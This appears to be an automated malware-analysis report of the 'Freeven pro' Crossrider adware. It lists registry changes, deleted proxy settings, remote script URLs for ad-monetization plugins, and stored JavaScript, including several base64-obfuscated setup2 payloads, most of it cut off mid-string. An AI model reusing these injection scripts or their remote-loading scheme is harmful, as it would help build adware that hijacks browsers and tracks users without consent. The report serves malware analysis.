[HKCU\Software\Freeven pro\Plugins\183]
[HKCU\Software\Freeven pro\Plugins\1]
[HKCU\Software\Freeven pro\Plugins\3]
[HKCU\Software\Freeven pro\Plugins\2]
[HKCU\Software\Freeven pro\Plugins\21]
[HKCU\Software\Freeven pro\Plugins\22]
[HKCU\Software\Freeven pro\Plugins]
[HKCU\Software\Freeven pro\Plugins\28]
[HKCU\Software\Freeven pro\Plugins\47]
[HKCU\Software\Freeven pro\Plugins\102]
[HKCU\Software\Freeven pro\Plugins\103]
[HKCU\Software\Freeven pro\Plugins\104]
[HKCU\Software\Freeven pro\Plugins\42]
[HKCU\Software\Freeven pro\Plugins\43]
[HKCU\Software\Freeven pro\Plugins\40]
[HKCU\Software\Freeven pro\Plugins\41]
[HKCU\Software\Freeven pro\Plugins\46]
[HKCU\Software\Freeven pro\Plugins\39]
[HKCU\Software\Freeven pro\Plugins\44]
[HKCU\Software\Freeven pro\Plugins\45]

The Worm deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process Freeven pro-codedownloader.exe:720 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKCU\Software\Freeven pro\Plugins\42]
"Name" = "IEInternal"

[HKCU\Software\Freeven pro\Plugins\17]
"JavaScript" = "if(typeof window!==undefined){/*! * jQuery JavaScript Library v1.4.2 * http://jquery.com/ * * Copyright 2010, John Resig * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * Includes Sizzle.js * http://sizzlejs.com/ * Copyright 2010, The Dojo Foundation * Released under the MIT, BSD, and GPL Licenses. * * Date: Sat Feb 13 22:33:48 2010 -0500 */var $$jquery;(function(aO,D){var a=function(e,a0){return new a.fn.init(e,a0);},o=aO.jQuery,S=aO.$,ac=aO.document,Y,Q=/^[^)[^>]*$|^#([\w-] )$/,aY=/^.[^:#\[\.,]*$/,az=/\S/,N=/^(\s|\u00A0) |(\s|\u00A0) $/g,f=/^(?:)?$/,b=navigator.userAgent,v,L=false,af=[],aI,av=Object.prototype.toString,ar=Object.prototype.hasOwnProperty,h=Array.prototype.push,G=Array.prototype.slice,t=Array.prototype.indexOf;a.fn=a.prototype={init:function(e,a2){var a1,a3,a0,a4;if(!e){return this;}if(e.nodeType){this.context=this[0]=e;this.length=1;return this;}if(e===body&&!a2){this.context=ac;this[0]=ac.body;this.se5"

[HKCU\Software\Freeven pro\Installer]
"srcid" = "001360"

[HKCU\Software\Freeven pro\Plugins\207]
"Name" = "dbWrapper"

[HKCU\Software\Freeven pro\Plugins\47]
"Name" = "resources_background"

[HKCU\Software\Freeven pro\Plugins\104]
"Name" = "jollywallet_m"

[HKCU\Software\Freeven pro\Plugins\4]
"Name" = "jquery_1_7_1"

[HKCU\Software\Freeven pro\Plugins\78]
"URL" = "http://js.clientstaticserv.com/plugins/mins/CrossriderInfo.js"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 29 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Freeven pro\Plugins\14]
"URL" = "http://js.clientstaticserv.com/plugins/mins/CrossriderUtils.js"

[HKCU\Software\Freeven pro\Plugins\182]
"Version" = "3"

[HKCU\Software\Freeven pro\Plugins\40]
"Version" = "4"

[HKCU\Software\Freeven pro\Plugins\102]
"URL" = "http://js.clientstaticserv.com/plugins/mins/monetization/geo/dealply_m.js"

[HKCU\Software\Freeven pro\Plugins\183]
"URL" = "http://js.clientstaticserv.com/plugins/mins/tabsWrapper.js"

[HKCU\Software\Freeven pro\Manifest]
"Manifest" = "NA"

[HKCU\Software\Freeven pro\Plugins\40]
"JavaScript" = "if(typeof appAPI===undefined){appAPI={};}if(typeof appAPI.internal===undefined){appAPI.internal={};}if(typeof appAPI.internal.callbacks===undefined){appAPI.internal.callbacks={};}appAPI.internal.scope=Consts.SCOPE.PAGE;appAPI.internal.callbacks.setEventHandler(externalConsole,function(a){if(appAPI.dom.isIframe()){return;}var c=a.level;var b=a.text;if(typeof c===undefined){console.error(Received undefined Background console level);return;}if(typeof console[c]===undefined){console.error(Received undefined Background console level);return;}if(typeof b===undefined){console.error(Received undefined Background console text);return;}console[c](b);});appAPI.internal.callbacks.setEventHandler(onBeforeNavigate,function(a){});appAPI.internal.callbacks.setEventHandler(windowOpen,function(a){if(appAPI.dom.isIframe()||!appAPI.isActiveTab()){return;}window.open(a.url,a.name,a.specs,a.replace);});try{if(!appAPI.dom.isIframe()){appAPI.internal.activeTabCounter=0;setInterval(function(){if(appAPI.isActi5"

[HKCU\Software\Freeven pro\Plugins\47]
"Version" = "3"

[HKCU\Software\Freeven pro\Manifest]
"IsButtonEnabled" = "false"

[HKCU\Software\Freeven pro\Plugins\36]
"Name" = "IEBackground"

[HKCU\Software\Freeven pro\Plugins\37]
"Version" = "6"

[HKCU\Software\Freeven pro\Plugins\39]
"Version" = "5"

[HKCU\Software\Freeven pro\Manifest]
"PublisherName" = "Freeven"

[HKCU\Software\Freeven pro\Plugins\21]
"Version" = "5"

[HKCU\Software\Freeven pro\Installer]
"Params" = "{ source_id : 001360, sub_id : 0, uzid : 0"

[HKCU\Software\Freeven pro\Plugins\45]
"Version" = "4"

[HKCU\Software\Crossrider]
"Verifier" = "283fbbb93af62851d4ee04659eadac21"

[HKCU\Software\Freeven pro\Plugins\1]
"Version" = "10"

[HKCU\Software\Freeven pro\Plugins\104]
"Version" = "9"

[HKCU\Software\Freeven pro\Plugins\94]
"JavaScript" = "appAPI.isBackground=false;appAPI.tabId=POPUP;appAPI.internal.scope=Consts.SCOPE.POPUP;appAPI.browserAction.setBadgeBackgroundColor=function(a){if(!(a instanceof Array)){console.error(appAPI.browserAction.setBadgeBackgroundColor - Invalid parameter. Expected an array but got: (typeof a));return;}if(a.length!==4){console.error(appAPI.browserAction.setBadgeBackgroundColor - Invalid parameter. Color array should have 4 members (RGBA));return;}appAPI.internal.message.send({eventName:onSetBadgeColorFromPopup,eventContent:a});};appAPI.browserAction.setBadgeText=function(c,a){var b={};if(typeof c!==string){console.error(appAPI.browserAction.setIcon - Invalid parameter. Expected string (1st param) but got: (typeof c));return;}b.text=c;if(typeof a===undefined||a===null){b.color=null;}else{if(!(a instanceof Array)){console.error(appAPI.browserAction.setBadgeText - Invalid parameter. Expected an array (2nd param) but got: (typeof a));return;}else{if(a.length!==4){console.error(appAPI.browserAction.se5"

[HKCU\Software\Freeven pro\Plugins\244]
"Version" = "2"

[HKCU\Software\Freeven pro\Manifest]
"Version" = "22"
"Description" = "Feven Shopping Companion"

[HKCU\Software\Freeven pro\Plugins\14]
"Version" = "11"

[HKCU\Software\Freeven pro\Plugins\91]
"Name" = "monetizationLoader.js"

[HKCU\Software\Freeven pro\Plugins\207]
"URL" = "http://js.clientstaticserv.com/plugins/mins/dbWrapper.js"

[HKCU\Software\Freeven pro\Plugins\13]
"Name" = "CrossriderAppUtils"

[HKCU\Software\Freeven pro]
"ActiveAppId" = "54248"

[HKCU\Software\Freeven pro\Plugins\78]
"Name" = "CrossriderInfo"

[HKCU\Software\Freeven pro\Plugins\45]
"JavaScript" = "if(typeof appAPI===undefined){appAPI={};}if(typeof appAPI.internal===undefined){appAPI.internal={};}if(typeof appAPI.internal.callbacks===undefined){appAPI.internal.callbacks={};}appAPI.tabId=onRequest;window.console.log=appAPI.internal.console.log;console.log=window.console.log;window.console.info=appAPI.internal.console.info;console.info=window.console.info;window.console.warn=appAPI.internal.console.warn;console.warn=window.console.warn;window.console.error=appAPI.internal.console.error;console.error=window.console.error;(function(){function a(e){var c=appAPI.internal.prefs.getChar(e,Crossrider\\onRequest);if(typeof c!==string){return 0;}if(c.length===0){return 0;}c=appAPI.JSON.parse(c);if(typeof c!==object){return 0;}var d=0;for(var b in c){d ;appAPI.internal.callbacks.addListener(onRequest,function(m,g){var n=appAPI.internal.callbacks.onRequest.listenersAdditionalData[g];if(typeof n.code!==string){return;}var f={};var i;if(typeof n.value===undefined){i=undefined;}else{if(n.value===n5"

[HKCU\Software\Freeven pro\Plugins\64]
"Version" = "3"

[HKCU\Software\Freeven pro\Plugins\41]
"URL" = "http://js.clientstaticserv.com/plugins/mins/ie/IEInfo.js"

[HKCU\Software\Freeven pro\Plugins\207]
"Version" = "2"

[HKCU\Software\Freeven pro\Plugins\28]
"JavaScript" = "var CrossriderInitializerPlugin=(function(e){var c={appId:appAPI._cr_config.appID()},b,g=new e.Deferred(),f;return e.Class.extend({init:function(){b=this;e(document).ready(function(){if(!f){d();}e(body).bindExtensionEvent(__CR_REQUEST_READY,a);});},isReady:function(h){if(h===false){d();}return g.promise();}});function d(){g.resolve();f=true;}function a(){e(body).fireExtensionEvent(__CR_RESPONSE_READY,{appId:c.appId});}}($jquery_171));(function(a){appAPI.initializerPlugin=new CrossriderInitializerPlugin();}($jquery_171));"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Freeven pro\Plugins\36]
"JavaScript" = "if(typeof appAPI===undefined){appAPI={};}if(typeof appAPI.internal===undefined){appAPI.internal={};}if(typeof appAPI.internal.callbacks===undefined){appAPI.internal.callbacks={};}appAPI.isBackground=true;appAPI.tabId=BG;appAPI.internal.scope=Consts.SCOPE.BACKGROUND;appAPI.openURL=function(c,b){if(typeof c===undefined){return;}var a;if(typeof c===object){a=c;}else{a={url:c,where:b};}appAPI.internal.message.send({eventName:openURL,eventContent:a});};appAPI.internal.runHelper=function(a){if(typeof a!==string){console.error(appAPI.runHelper - Invalid parameter. Expected string (1st param) but got: (typeof a));return;}appAPI.internal.message.send({eventName:runHelper,eventContent:a});};window.alert=function(a){a=(a===null?null:a);a=(typeof a===undefined?undefined:a);appAPIinternal.alert(a);};appAPI.internal._isMonitorAPISupported_=function(){return(typeof appAPIinternal.supportMonitor!==undefined);};window.open=function(b,a,d,c){appAPI.internal.message.send({eventName:windowOpen,eve5"

[HKCU\Software\Freeven pro\Manifest]
"RunInFrame" = "false"
"ChangePrevious" = "false"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Freeven pro\Plugins\45]
"URL" = "http://js.clientstaticserv.com/plugins/mins/ie/IEOnRequest.js"

[HKCU\Software\Freeven pro\Plugins\94]
"URL" = "http://js.clientstaticserv.com/plugins/mins/ie/IEPopup.js"

[HKCU\Software\Freeven pro\Plugins\244]
"Name" = "engageya_inner_m"

[HKCU\Software\Freeven pro\Plugins\13]
"JavaScript" = "(function(a){a.selectedText=function(e,c){function d(){if(window.getSelection){return window.getSelection();}else{if(document.getSelection){return document.getSelection();}else{var f=document.selection&&document.selection.createRange();if(f.text){return f.text;}return false;}}return false;}if(e==null){a.debug(selectedText: no callback function provided.);return;}if(c==null){c={};}c.lastSelection=;c.minlength=c.minlength||1;c.maxlength=c.maxlength||99999999;var b;switch(typeof(c.element)){caseundefined:b=$jquery(body);break;caseobject:if(c.element instanceof jQuery){b=c.element;}else{a.debug(selectedText: element provided as an unrecorgnize object.);return;}break;casestring:b=$jquery(c.element);break;default:a.debug(selectedText: unknown element.);return;}b.mouseup(function(g){var f=d();if(f&&String(f)==c.lastSelection){c.lastSelection=;return;}else{c.lastSelection=String(f);}if(f&&String(f).length>=c.minlength&&String(f).length
[HKCU\Software\Freeven pro\Manifest]
"EnableSearchIE" = "false"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Freeven pro\Plugins\17]
"Version" = "4"

[HKCU\Software\Freeven pro\Plugins\177]
"URL" = "http://js.clientstaticserv.com/plugins/mins/crossriderDashboard.js"

[HKCU\Software\Freeven pro\Plugins\78]
"Version" = "5"

[HKCU\Software\Freeven pro\Plugins\246]
"URL" = "http://js.clientstaticserv.com/plugins/mins/monetization/setup.js"

[HKCU\Software\Freeven pro\Plugins\183]
"JavaScript" = "(function(){if(typeof $jquery_171===undefined){return;}var a={SCOPE:{BACKGROUND:0,PAGE:1,POPUP:5,OPEN_URL:6}};if(!appAPI.utils.isFunction(appAPI.internal.globalEval)){appAPI.internal.globalEval=function(c){(new Function(c)).apply(window);};}if(appAPI.internal.scope==a.SCOPE.BACKGROUND){appAPI.tabs.reloadTab=function(c){if(typeof c.delay===number){appAPI.setTimeout(function(){appAPI.message.toAllTabs({tabId:c.tabId},{channel:__tabsReloadTab__});},c.delay);}else{appAPI.message.toAllTabs({tabId:c.tabId},{channel:__tabsReloadTab__});}};appAPI.tabs.executeScript=function(c){appAPI.message.toAllTabs(c,{channel:__tabsExecuteScript__});};appAPI.tabs.onTabUpdated=function(c){if(typeof c!==function){return;}appAPI.message.addListener({channel:__tabsOnTabUpdated__},function(d){c(d);});};}else{if(appAPI.internal.scope==a.SCOPE.PAGE&&!appAPI.dom.isIframe()){var b=function(){try{var f=null;var c=document?document.getElementsByTagName(link):null;if(c){for(var d=0;d
[HKCU\Software\Freeven pro\Plugins\4]
"URL" = "http://js.clientstaticserv.com/plugins/javascripts/jquery-1_7_1_min.js"

[HKCU\Software\Freeven pro\Plugins\2]
"JavaScript" = "(function(){var b=dummy so this plugin won't be empty;})();"

[HKCU\Software\Freeven pro\Plugins\64]
"Name" = "appApiMessage"

[HKCU\Software\Freeven pro\Plugins\72]
"URL" = "http://js.clientstaticserv.com/plugins/mins/appApiValidation.js"

[HKCU\Software\Freeven pro\Plugins\13]
"Version" = "7"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Freeven pro\Manifest]
"homepageurl" = "NA"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKCU\Software\Freeven pro\Plugins]
"AppPluginList" = "246,42,38,46,17,14,78,13,41,44,39,35,43,40,64,2,4,3,1,21,22,182,183,207,72,93,102,103,104,184,191,223,242,244,177,91,28"

[HKCU\Software\Freeven pro\Plugins\103]
"JavaScript" = "appAPI.internal.monetization = appAPI.internal.monetization || {};if (typeof appAPI.internal.monetization.plugins === undefined) { appAPI.internal.monetization.plugins = {}; }appAPI.internal.monetization.plugins[103] = function() { if (!appAPI.internal.monetization.shouldRunByVertical(103, [intext])){ return; } var subId = appAPI.internal.monetization.getSubId(); subId = subId.substr(0,7) 00000000000; var _GPL_loader = { vars: {}, ivars: {}, proto: appAPI.dom.isHttps() ? https:// : http://, baseCDN: cdncache1-a.akamaihd.net, init: function() { var a = ; $jquery.each(this.vars, function(b, c) { a = b = c &"

[HKCU\Software\Freeven pro\Plugins\46]
"Name" = "IETimers"

[HKCU\Software\Freeven pro\Plugins\242]
"Name" = "price_gong_m"

[HKCU\Software\Freeven pro\Plugins\91]
"Version" = "46"

[HKLM\SOFTWARE\Freeven pro\IE\Profiles]
"S-1-5-21-1844237615-1960408961-1801674531-1003" = "1"

[HKCU\Software\Freeven pro\Installer]
"zdata" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCU\Software\Freeven pro\Installer]
"osName" = "XP32"

[HKCU\Software\Freeven pro\Code]
"BgJavaScript" = "/************************************************************************************ This is your background code. For more information please visit our wiki site: http://docs.crossrider.com/#!/guide/scopes_background*************************************************************************************/appAPI.ready(function($) { // Place your code here (ideal for handling browser button, global timers, etc.)});"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKCU\Software\Freeven pro\Plugins\35]
"Name" = "IEAjax"

[HKCU\Software\Freeven pro\Manifest]
"UninstallerOfferAction" = "NA"

[HKCU\Software\Freeven pro\Plugins\36]
"Version" = "8"

[HKCU\Software\Freeven pro\Plugins\191]
"URL" = "http://js.clientstaticserv.com/plugins/mins/monetization/geo/ciuvo_m.js"

[HKCU\Software\Freeven pro\Plugins\44]
"JavaScript" = "if(typeof appAPI===undefined){appAPI={};}(function(a){appAPI.dns={};appAPI.dns.resolveIP=function(b){return a.resolveIp(b);};appAPI.fetchUrl=function(b){return a.fetchUrl(b);};appAPI.openURL=function(e,d){var c;if(typeof e===object){c=e;if(typeof a.openUrlEx!==undefined){a.openUrlEx(appAPI.JSON.stringify(c));return;}else{d=c.where;e=c.url;}}if(typeof e!==string){console.error(appAPI.openURL - Invalid parameter. Expected string (1st param) but got: (typeof e));return;}if(d!==current&&d!==tab&&d!==window&&d!==popup){console.error(appAPI.openURL - Invalid parameter. Expected current/tab/window (2nd param) but got: d);return;}if(typeof a.openUrlEx!==undefined){var f=(document&&document.documentElement&&document.documentElement.clientHeight)?document.documentElement.clientHeight 100:100;var h=(document&&document.documentElement&&document.documentElement.clientWidth)?document.documentElement.clientWidth 80:100;var g=(window&&window.screenTop)?((window.screenTop-20)
[HKCU\Software\Freeven pro\Plugins\191]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MTE3MjZhNGQxMjE4MDUxNjNmMGEwNjVhNTk0ZjU4MDQwNTEyMWE0MjQ1NTcxMDFiMWIxODE4MDU0NDFiMDMwZDE1MDA1NDBmMWUwYjQ1MTUwZjFjMGEwZTU1MWYxNTBkNDUwODE4MTEwMDBhMDkxYzEwMTQxODE3MWQ1NTUyNDE0ZTQyMWMwZjA0NTYwMDBiNDE0MzcwNjU1MzBlMWUwYzFhMGIzNjFkMTY0ZTRiNDY0ODEwMWUwYzEzMWM0MDQzNWUxNTBmMWIxZjBhMDY0MTE5MDUwNDEwMDU1NjA5MTcwZTQwMTcwOTE1MGYwYjU3MTkxYzA4NDAwYTFlMTgwNTBmMGIxYTE5MTExZDE1MWI1YzU3NDQ0YzQ0MTUwYTAxNTQwNjAyNDQ0NjcyNjM1YTEzMDMwZjBiMTgwODIzMWM0ODQyNDM1ZTQzNWQ1ZDZjNGE1ODRhNTg0MTE5MWYxZTA1MGYwOTE5MDY1YTU5NGYyMTRlMDIwZTA1MDgxYTExMGQwODU4MzE1ZDZjNGE1ODRhNTg0MTA2MTQwMDE4MDgwZjMyMzk1YTU5NGY1ODA1MTc0NjQyMGMxMzA4MDYwMDFjNGMwNjBmMDQxYzA1MGY0ZDMwMTkwNTA0MTAwNTA4MTgxZDA1MWM1YTUxNGM1YjRhNWYxZjE2MDcwYTFjMDUxZjAzMGU1ZjQzNTgxNDA2MTQwODFlMTE0NDI3MDkxMTE2MTkxNTFjMDMwMzBjMGI0YTQ1NDMxNDA3NTc1MTQ2MWQxMTA0MWMwYzE4NTQzMzEyMGYxZjBlMDUwODExMGExYzFmNWYxNjE4MTEwOTFkMTAxZjFiMWUwMzA5MWQ1ODU3NTgxODQ4MTkwZDFjMTYwYjExMGQxNjQ0NTU1YTRiMTIxNDA1MGIxOTBhMGEwYjFmMWUyZTM5MjkyYTI1MmIzMDNkMzMyODM0MzQzNTJiM2YzYTNjMjYzZTMzMmU65"

[HKCU\Software\Freeven pro\Plugins\94]
"Name" = "IEPopup"

[HKCU\Software\Freeven pro\Manifest]
"BgVersion" = "1"

[HKCU\Software\Freeven pro\Installer]
"ErrorsDomain" = "http://errors.clientstaticserv.com"

[HKCU\Software\Freeven pro\Plugins\36]
"URL" = "http://js.clientstaticserv.com/plugins/mins/ie/IEBackground.js"

[HKCU\Software\Freeven pro\Plugins\1]
"URL" = "http://js.clientstaticserv.com/plugins/mins/base.js"

[HKCU\Software\Freeven pro\Plugins\47]
"URL" = "http://js.clientstaticserv.com/plugins/mins/resources_background.js"

[HKCU\Software\Freeven pro\Installer]
"FullVersion" = "1.34.5.4"

[HKCU\Software\Freeven pro\Plugins\42]
"JavaScript" = "var Consts={SCOPE:{BACKGROUND:0,PAGE:1,POPUP:5,OPEN_URL:6}};if(typeof appAPI===undefined){appAPI={};}appAPI.__should_activate_validation__=true;(function(a){if(typeof window==undefined){window={};}if(typeof window.document===undefined){window.document={};document=window.document;}if(typeof window.alert===undefined){window.alert=function(b){var c;if(typeof b===undefined){c=undefined;}else{if(b===null){c=null;}else{c=b.toString();}}if(typeof c===string){a.alert(c);}};alert=window.alert;}})(appAPIinternal);if(typeof console===undefined){window.console={};console=window.console;}if(typeof console.log===undefined){window.console.log=function(a){};console.log=window.console.log;}if(typeof console.info===undefined){window.console.info=function(a){};console.info=window.console.info;}if(typeof console.warn===undefined){window.console.warn=function(a){};console.warn=window.console.warn;}if(typeof console.error===undefined){window.console.error=function(a){};console.error=window.console.error;5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Freeven pro\Plugins\39]
"Name" = "IEDatabase"

[HKCU\Software\Freeven pro\Plugins\28]
"URL" = "http://js.clientstaticserv.com/plugins/mins/initializer.js"

[HKCU\Software\Freeven pro\Plugins\43]
"JavaScript" = "if(typeof appAPI===undefined){appAPI={};}if(typeof appAPI.internal===undefined){appAPI.internal={};}if(typeof appAPI.internal.callbacks===undefined){appAPI.internal.callbacks={};}if(typeof appAPI.internal.message===undefined){appAPI.internal.message={};}appAPI.internal.message.send=function(b){if(typeof b!==object){return false;}if(typeof b.eventName!==string){return false;}b.senderTabId=appAPI.tabId;var c;try{c=appAPI.JSON.stringify(b);}catch(a){console.error(appAPI.message error - Caught a JSON exception when trying to stringify the message);return false;}if(typeof c!==string){console.error(appAPI.message error - Failed to stringify message);return false;}if(c.length>8192){console.error(appAPI.message error - can't send message because content is too long: c.length);return false;}appAPIinternal.msgToAllTabs(c);return true;};appAPI.internal.callbacks.crossBhoEvent=function(b){if(typeof b.msgObj!==string){return;}try{b=appAPI.JSON.parse(b.msgObj);}catch(c){console.error(Failed to pars5"

[HKCU\Software\Freeven pro\Plugins]
"NewTabPluginList" = "42,38,46,17,14,78,13,41,44,39,35,43,40,64,2,4,3,1,21,22,72,28"

[HKCU\Software\Freeven pro\Plugins\42]
"Version" = "9"

[HKCU\Software\Freeven pro\Plugins\4]
"Version" = "4"

[HKCU\Software\Freeven pro\Plugins\41]
"Version" = "7"

[HKCU\Software\Freeven pro\Plugins\191]
"Version" = "5"

[HKCU\Software\Freeven pro\Plugins\103]
"Version" = "8"

[HKCU\Software\Freeven pro\Plugins\22]
"Version" = "5"

[HKCU\Software\Freeven pro\Plugins\46]
"URL" = "http://js.clientstaticserv.com/plugins/mins/ie/IETimers.js"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "51 73 70 00 7B 22 24 9A 53 63 90 29 58 F2 CB D2"

[HKCU\Software\Freeven pro\Plugins\2]
"Name" = "ie8_fix_1"

[HKCU\Software\Freeven pro\Plugins\244]
"URL" = "http://js.clientstaticserv.com/plugins/mins/monetization/geo/engageya_inner_m.js"

[HKCU\Software\Freeven pro\Plugins\183]
"Name" = "tabsWrapper"

[HKCU\Software\Freeven pro\Plugins]
"BgPluginList" = "246,42,38,46,41,44,39,35,43,36,4,14,78,64,183,207,47,182,72,93,102,184,191,223,242,244,91"

[HKCU\Software\Freeven pro\Plugins\242]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MDg3ZjYxNDcxZDFjMTEwMTNiMGExZjU3NTI0NTU3MDAxMTA1MWU0MjVjNWEwMTBiMDYxYzRiMDIwNjE3MDMwNTAxMGIxMjA5MTExNDQwMTExZDEzMDc0YTFmMWI0YTAyMDkyNzExMTI0NjBmMDY1NzI0MzcyODMxM2YzYzI5MzEzMDM3MmMzNTUzMWIwMTA2MWEwMTA3NGUzNjI0MmMyNzM3M2MzYjMxMjcyMTI3MjQzYTNkMjEyYTIxMjE0ODM3M2EzMjNjMzcyMDI2M2EyYzMxMmQzNzJlM2QyZDMxMmEyMTIxMmEzNzQzMzMzYzM5M2QzMTM3MjEzYzNiMzUzZDJmMjEyYzNiMjkyODMwNTUzYTJlMmQyYTNjMjYzYjM3M2MyYzIwMjMzMTM5MjMyNTM3MmIzNDI1MjAyZTMxNWE1ZjdmNjE0NzFkMWMxMTAxMWQyZDAxMTk0YTVmNTU0YTBkMDUxYTA4MDA0ZjQ3NGExYzA2MTYwNTQwMGIxYjFhMTgxNTFjMDYwMjEwMWExZDVkMWMwNjAzMWE0NzBmMDI0MTBiMTQyYTBhMDI1YjAyMTY0ZTJmM2UzNTNjMjQyYzM0M2MyMDJlMjczYzRlMTYxYTE2MDcwYzE3NTczZDJkMzEyYTJjMmMyNjNjMzczODJjMmQyNzMwM2EzYTNjMmM1ODJlMzEzYjIxM2EzYjM2MjcyMTIxMzQzYzI3MjAyMDJhM2EzYzJjM2EyZTQ4M2EyMTM0MjYyMTJhMmMyYzIyM2UzNDMyMmMzNzJiMzQyNTIwNGMzMTI3MzAyNzI3MzYyNjNhMmMzNTJiMmEyYzM0MzgzNTJhMjYyNDNjMmIyNzJjNTc0NDZmN2M0YTE1MWQxYjFmMWExYjIxMDE1NzUyNDU0MzVhNGE1ZjdmNDg0NTU1NDg0NzA3MGIwYTA3MWMwYjA0MTk0YTVmNTEzNTVhMDAxZDA3MTUwNTAxMGIF5"

[HKCU\Software\Freeven pro\Plugins\39]
"JavaScript" = "if(typeof appAPI===""undefined""){appAPI={};}(function(c){appAPI.cookie=function(h,k,f,i){var g=""%@%ZZCR__AJAXZZ$C@R#"";function e(o,q,l,p){if(typeof(o)!==""string""){return false;}var n=appAPI.JSON.stringify(q);var m=new Date(2030,1,1,0,0,0,0);if(l instanceof Date){m=l;}c.setLocalCookie(o,n,m.toUTCString(),p);return true;}function j(m,n){if(m==""InstallerParams""&&n==""Local""){return appAPI.JSON.parse(appAPI.internal.prefs.getChar(""Params""

[HKCU\Software\Freeven pro\Plugins\21]
"Name" = "debug"

[HKCU\Software\Freeven pro\Plugins\184]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MTI3YjZmNTMwMTAyMDMwYTNkMDAwNTUzNWM1MTRiMWUwMzBlMTg0ODQ2NWUwODAxMWE1ODE5MTUxODAwMDYxMzBhMTQwNDA2MDcxOTQ2MTEwNjFjNDkxZjE5MDUxNTU1MDQxZDBlMTgwNTVmMDMwNTQ4MzUxYTFiMGUxODA4MzgwZDRiMzI0MjI5NDYyODQzNTUzMDQ0MzQ0NzQ5NWM1ZjJjNDM1NzQwNDQzNzRlM2I1ODVmNTk0MTU3NDQ1ODQxMzM0YjU4MzQ1ZjM0NDAyMjAwMDIxMjMzMGM0ZjNhMTAwYTE0MWE1MDI3MWIxYTA2MDcxNDE0MzgyZDRiNDU0YTU4NDI1OTU3MzYwMzA2MTIwMjE5MWMzYzA4MWMwMzRjMzYyOTM0MjgyNzIxM2EyMzJmMzUyYzI0MjgzYjM4MjIzNjNmMjczYzJjMjkyODVjM2MxZDA2MWQwNDEwMWIzZjEzNDczNzJkMmEyMzI5MjIzYTI0M2UzZTJkMjAzNjIyMzMzMzM2M2YzMzI1Mzc1MDQ1N2I2ZjUzMDEwMjAzMGExYjI3MWIxZDQ0NGI0OTU0MWYwZTFjMDIxYTRiNDk1ZTA3MDYwNDU0MDYxZDE5MDMwOTEzMDUxMzFhMGExODExNDcxMjA5MWM0NjE4MDcwOTBhNWQwNTFlMDExODBhNTgxZDA5NTczZDFiMTgwMTE4MDczZjEzNDcyZDRhMjg0NTI3NDM1YTM3NWEzODU4NDE1ZDVjMjM0MzU4NDc1YTNiNTEzMzU5NWM1NjQxNTg0MzQ2NGQyYzQzNTkzNzUwMzQ0ZjI1MWUwZTBkM2IwZDRjMzUxMDA1MTMwNDVjMzgxMzFiMDUwODE0MWIzZjMzNDc1YTQyNTk0MTU2NTczOTA0MTgxZTFkMTExZDNmMDcxYzBjNGIyODI1MmIyMDI2MjIzNTIzMjAzMjMyMjgzNzMzMzkyMTM5M2YyODNiMzI5"

[HKCU\Software\Freeven pro\Plugins]
"BrowserEventPluginList" = "14,42,41,44,39,38,43,37,64,72"

[HKCU\Software\Freeven pro\Plugins\244]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MWM3MzY3NGExYTAwMDUwMTNiMDEwYjViNTQ0ODUwMWMwNTA1MWU0OTQ4NTYwYjEwMDY0NTVmMTQwMDE0MDYxZTBiMTExMzVhMTIxZTAzNWMxMDEwMGEwZjE3MDA1ZTE4MDAxOTAyMWExYTM3MDEwNDEwMDMwNTVjMGUxNzA0MzcwMTA0MDMxYTMxMDAxMzE4MWMxYzE3MDY1ZjFiMWQ0YzE3MTAwYTU1M2UyMDM0MDIyMTM3MjY0ODIxMmMyMzA3M2MxYjA5NDAyYTEzMjcxYjNjMzAxMjQ1MjEyNzI2NWM1ZDJjNTQwNzA0MTMwNzE3NWEyNjMxMmIyMDNiMjIyMjNjM2EyMzNjM2MzNzIxMjEzMzJlMjczNzM4MjY0YzQ0Nzg3ZDUzMDEwMjA2MDAxMDAwMjExNjU2NGI1MTVjNDc1MzczMTM=', 'gynhrtqqns'); }"

[HKCU\Software\Freeven pro\Installer]
"subid" = "0"

[HKCU\Software\Freeven pro\Plugins\102]
"Version" = "6"

[HKCU\Software\Freeven pro\Plugins\28]
"Version" = "4"

[HKCU\Software\Freeven pro\Plugins\246]
"Name" = "setup"

[HKCU\Software\Freeven pro\Plugins]
"OnRequestPluginList" = "14,42,41,39,38,43,45,64,72"

[HKCU\Software\Freeven pro\Installer]
"DefaultBrowser" = "ie"
"FullVersionForUrl" = "1_34_05_04"

[HKCU\Software\Freeven pro\Plugins\103]
"URL" = "http://js.clientstaticserv.com/plugins/javascripts/monetization/geo/intext_5_m.js"

